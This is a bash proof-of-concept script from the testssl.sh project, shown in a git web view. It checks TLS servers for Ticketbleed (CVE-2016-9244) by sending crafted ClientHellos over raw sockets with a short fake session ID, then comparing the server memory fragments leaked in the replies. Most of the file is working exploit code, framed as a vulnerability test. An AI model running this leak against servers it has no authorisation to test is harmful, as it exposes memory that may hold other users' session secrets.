summaryrefslogtreecommitdiffstats
path: root/utils/ticketbleed.bash
blob: 399700a97f55680501a8b9709056f63e9ffe920d (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
#!/usr/bin/env bash

# Fast and reliable POC bash socket implementation of ticketbleed (CVE-2016-9244), see also http://ticketbleed.com/
# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
#
# sockets inspired by http://blog.chris007.de/?p=238
# ticketbleed inspired by https://blog.filippo.io/finding-ticketbleed/
#
###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######

[[ -z "$1" ]] && echo "IP is missing" && exit 1

readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'

OPENSSL=${OPENSSL:-$(type -p openssl)}
TIMEOUT=${TIMEOUT:-20}

# insert some hexspeak here :-)
SID="x00,x00,x0B,xAD,xC0,xDE,"               # don't forget the trailing comma

NODE="$1"
PORT="${NODE#*:}"
PORT="${PORT-443}"                           # probably this doesn't make sense
NODE="${NODE%:*}"                            # strip port if supplied
TLSV=${2:-01}                                # TLS 1.0=x01  1.1=0x02, 1.2=0x3
MAXSLEEP=$TIMEOUT
SOCKREPLY=""
COL_WIDTH=32
DEBUG=${DEBUG:-"false"}
HELLO_READBYTES=${HELLO_READBYTES:-65535}

dec2hex() { printf "x%02x" "$1"; }
dec2hexB() {
     a=$(printf "%04x" "$1")
     printf "x%02s, x%02s" "${a:0:2}" "${a:2:2}"
}

LEN_SID=$(( ${#SID} / 4))                         # the real length in bytes
XLEN_SID="$(dec2hex $LEN_SID)"

red=$(tput setaf 1; tput bold)
green=$(tput bold; tput setaf 2)
lgreen=$(tput setaf 2)
brown=$(tput setaf 3)
blue=$(tput setaf 4)
magenta=$(tput setaf 5)
cyan=$(tput setaf 6)
grey=$(tput setaf 7)
yellow=$(tput setaf 3; tput bold)
normal=$(tput sgr0)

send_clienthello() {
     local -i len_ch=216                          # len of clienthello, excluding TLS session ticket and SID (record layer)
     local session_tckt_tls="$1"
     local -i len_tckt_tls="${#1}"
     local xlen_tckt_tls=""

     len_tckt_tls=$(( len_tckt_tls / 4))
     xlen_tckt_tls="$(dec2hex $len_tckt_tls)"

     local len_handshake_record_layer="$(( LEN_SID + len_ch + len_tckt_tls ))"
     local xlen_handshake_record_layer="$(dec2hexB "$len_handshake_record_layer")"
     local len_handshake_ssl_layer="$(( len_handshake_record_layer + 4 ))"
     local xlen_handshake_ssl_layer="$(dec2hexB "$len_handshake_ssl_layer")"

     if $DEBUG; then
          echo "len_tckt_tls (hex):            $len_tckt_tls ($xlen_tckt_tls)"
          echo "SID:                           $SID"
          echo "LEN_SID (XLEN_SID)             $LEN_SID ($XLEN_SID)"
          echo "len_handshake_record_layer:    $len_handshake_record_layer ($xlen_handshake_record_layer)"
          echo "len_handshake_ssl_layer:       $len_handshake_ssl_layer ($xlen_handshake_ssl_layer)"
          echo "session_tckt_tls:              $session_tckt_tls"
     fi

     client_hello="
# TLS header (5 bytes)
     ,x16,               # Content type (x16 for handshake)
     x03, x01,           # TLS Version
                         # Length Secure Socket Layer follow:
     $xlen_handshake_ssl_layer,
# Handshake header
     x01,                # Type (x01 for ClientHello)
                         # Length of client hello follows:
     x00, $xlen_handshake_record_layer,
     x03, x$TLSV,        # TLS Version
# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
     xee, xee, x5b, x90, x9d, x9b, x72, x0b,
     xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
     xcf, xbd, x39, x04, xcc, x16, x0a, x85,
     x03, x90, x9f, x77, x04, x33, xff, xff,
     $XLEN_SID,          # Session ID length
     $SID
     x00, x66,             # Cipher suites length
# Cipher suites (51 suites)
     xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
     x00, x39, x00, x38, x00, x88, x00, x87,
     xc0, x0f, xc0, x05, x00, x35, x00, x84,
     xc0, x12, xc0, x08, xc0, x1c, xc0, x1b,
     x00, x16, x00, x13, xc0, x0d, xc0, x03,
     x00, x0a, xc0, x13, xc0, x09, xc0, x1f,
     xc0, x1e, x00, x33, x00, x32, x00, x9a,
     x00, x99, x00, x45, x00, x44, xc0, x0e,
     xc0, x04, x00, x2f, x00, x96, x00, x41,
     xc0, x11, xc0, x07, xc0, x0c, xc0, x02,
     x00, x05, x00, x04, x00, x15, x00, x12,
     x00, x09, x00, x14, x00, x11, x00, x08,
     x00, x06, x00, x03, x00, xff,
     x01,               # Compression methods length
     x00,               # Compression method (x00 for NULL)
     x01, x0b,          # Extensions length
# Extension: ec_point_formats
     x00, x0b, x00, x04, x03, x00, x01, x02,
# Extension: elliptic_curves
     x00, x0a, x00, x34, x00, x32, x00, x0e,
     x00, x0d, x00, x19, x00, x0b, x00, x0c,
     x00, x18, x00, x09, x00, x0a, x00, x16,
     x00, x17, x00, x08, x00, x06, x00, x07,
     x00, x14, x00, x15, x00, x04, x00, x05,
     x00, x12, x00, x13, x00, x01, x00, x02,
     x00, x03, x00, x0f, x00, x10, x00, x11,
# Extension: SessionTicket TLS
     x00, x23,
# length of SessionTicket TLS
     x00, $xlen_tckt_tls,
# Session Ticket
     $session_tckt_tls                       # here we have the comma already
# Extension: Heartbeat
     x00, x0f, x00, x01, x01"

     msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n')
     socksend "$msg" $TLSV
}


parse_hn_port() {
     # strip "https", supposed it was supplied additionally
     grep -q 'https://' <<< "$NODE" && NODE="$(sed -e 's/https\:\/\///' <<< "$NODE")"

     # strip trailing urlpath
     NODE=$(sed -e 's/\/.*$//' <<< "$NODE")

     # determine port, supposed it was supplied additionally
     grep -q ':' <<< "$NODE" && PORT=$(sed 's/^.*\://' <<< "$NODE") && NODE=$(sed 's/\:.*$//' <<< "$NODE")
}

wait_kill(){
     pid=$1
     maxsleep=$2
     while true; do
          if ! ps $pid >/dev/null ; then
               return 0  # didn't reach maxsleep yet
          fi
          sleep 1
          maxsleep=$((maxsleep - 1))
          test $maxsleep -eq 0 && break
     done                # needs to be killed
     kill $pid >&2 2>/dev/null
     wait $pid 2>/dev/null
     return 3            # killed
}


socksend() {
     local len

     data="$(echo -n $1)"
     if "$DEBUG"; then
          echo "\"$data\""
          len=$(( $(wc -c <<< "$data") / 4 ))
          echo -n "length: $len / "
          dec2hexB $len
          echo
     fi
     echo -en "$data" >&5
}


sockread_nonblocking() {
     [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2
     ret=0

     SOCKREPLY="$(dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"')" &
     wait_kill $! $maxsleep
     ret=$?
     echo -n -e "$SOCKREPLY"       # this doesn't work as the SOCKREPLY above belngs to a bckgnd process
     return $ret
}

sockread() {
     dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"'
}

fixme(){
     tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0
}


fd_socket(){
     if ! exec 5<> /dev/tcp/$NODE/$PORT; then
          echo "$(basename $0): unable to connect to $NODE:$PORT"
          exit 2
     fi
}

close_socket(){
     exec 5<&-
     exec 5>&-
     return 0
}

cleanup() {
     close_socket
     echo
     echo
     return 0
}


get_sessticket() {
     local sessticket_str
     local output

     output="$($OPENSSL s_client -connect $NODE:$PORT </dev/null 2>/dev/null)"
     if ! grep -qw CONNECTED <<< "$output"; then
        return 1
     else
        sessticket_str="$(awk '/TLS session ticket:/,/^$/' <<< "$output" | awk '!/TLS session ticket/')"
        sessticket_str="$(sed -e 's/^.* - /x/g' -e 's/  .*$//g' <<< "$sessticket_str" | tr '\n' ',')"
        sed -e 's/ /,x/g' -e 's/-/,x/g' <<< "$sessticket_str"
        return 0
    fi
}

#### main

parse_hn_port "$1"

early_exit=true
declare -a memory sid_detected
nr_sid_detected=0


# there are different "timeout". Check whether --preserve-status is supported
if type -p timeout &>/dev/null ; then
        if timeout --help 2>/dev/null | grep -q 'preserve-status'; then
            OPENSSL="timeout --preserve-status $TIMEOUT $OPENSSL"
        else
            OPENSSL="timeout $TIMEOUT $OPENSSL"
        fi
else
        echo " binary \"timeout\" not found. Continuing without it"
        unset TIMEOUT
fi


echo
"$DEBUG" && ( echo )
echo "##### 1) Connect to determine 1x session ticket TLS"
# attn! neither here nor in the following client hello we do SNI. Assuming this is a vulnebilty of the TLS implementation
SESS_TICKET_TLS="$(get_sessticket)"
if [[ $? -ne 0 ]]; then
        echo >&2
        echo -e "$NODE:$PORT ${magenta}not reachable / no TLS${normal}\n " >&2
        exit 0
fi
[[ "$SESS_TICKET_TLS" == "," ]] && echo -e "${green}OK, not vulnerable${normal}, no session tickets\n" && exit 0

trap "cleanup" QUIT EXIT
"$DEBUG" && ( echo; echo )
echo "##### 2) Sending 1 to 3 ClientHello(s) (TLS version 03,$TLSV) with this ticket and a made up SessionID"

# we do 3 client hellos, and see whether different memory is returned
for i in 1 2 3; do
     fd_socket $PORT

     "$DEBUG" && echo "$i"
     send_clienthello "$SESS_TICKET_TLS"

     "$DEBUG" && ( echo; echo )
     [[ "$i" -eq 1 ]] && echo "##### Reading server replies ($HELLO_READBYTES bytes)" && echo
     SOCKREPLY=$(sockread $HELLO_READBYTES)

     if "$DEBUG"; then
          echo "============================="
          echo "$SOCKREPLY"
          echo "============================="
     fi

     if [[ "${SOCKREPLY:0:2}" == "15" ]]; then
          echo -n "TLS Alert ${SOCKREPLY:10:4} (TLS version: ${SOCKREPLY:2:4}) -- "
          echo "${green}OK, not vulnerable ${normal} (TLS alert)"
          break
     elif [[ -z "${SOCKREPLY:0:2}" ]]; then
          echo "${green}OK, not vulnerable ${normal} (zero reply)"
          break
     elif [[ "${SOCKREPLY:0:2}" == "16" ]]; then
          # we need to look into this as some servers just respond as if nothing happened
          early_exit=false
          "$DEBUG" && echo -n "Handshake (TLS version: ${SOCKREPLY:2:4}), "
          if [[ "${SOCKREPLY:10:6}" == 020000 ]]; then
               echo -n "      ServerHello $i -- "
          else
               echo -n "      Message type: ${SOCKREPLY:10:6} -- "
          fi
          sid_input=$(sed -e 's/x//g' -e 's/,//g' <<< "$SID")
          sid_detected[i]="${SOCKREPLY:88:32}"
          memory[i]="${SOCKREPLY:$((88+ len_sid*2)):$((32 - len_sid*2))}"
          if "$DEBUG"; then
               echo
               echo "TLS version, record layer: ${SOCKREPLY:18:4}"
               #echo "Random bytes / timestamp:  ${SOCKREPLY:22:64}"
               echo "memory:                    ${memory[i]}"
               echo "Session ID:                ${sid_detected[i]}"
          fi
          if grep -q $sid_input <<< "${sid_detected[i]}"; then
               #echo -n "  (${yellow}Session ID${normal}, ${red}mem returned${normal} --> "
               echo -n "${sid_detected[i]}" | sed -e "s/$sid_input/${grey}$sid_input${normal}${blue}/g"
               echo "${normal})"
          else
               echo -n "not expected server reply but likely not vulnerable"
          fi
     else
          echo "TLS record ${SOCKREPLY:0:2} replied"
          echo -n "Strange server reply, pls report"
          break
     fi
done
echo

if ! "$early_exit"; then
     # here we test the replies if a TLS server hello was received >1x
     for i in 1 2 3 ; do
          if grep -q $sid_input <<< "${sid_detected[i]}"; then
               # was our faked TLS SID returned?
               nr_sid_detected=$((nr_sid_detected + 1))
          fi
     done
     if [[ $nr_sid_detected -eq 3 ]]; then
          if [[ ${memory[1]} != ${memory[2]} ]] && [[ ${memory[2]} != ${memory[3]} ]]; then
               echo "${red}VULNERABLE!${normal}, real memory returned"
          else
               echo "${green}not vulnerable ${normal} (same memory fragments returned)"
          fi
     else
          echo "results ($nr_sid_detected of 3) are kind of fishy. If it persist, let Dirk know"
     fi
fi

exit 0

#  vim:ts=5:sw=5:expandtab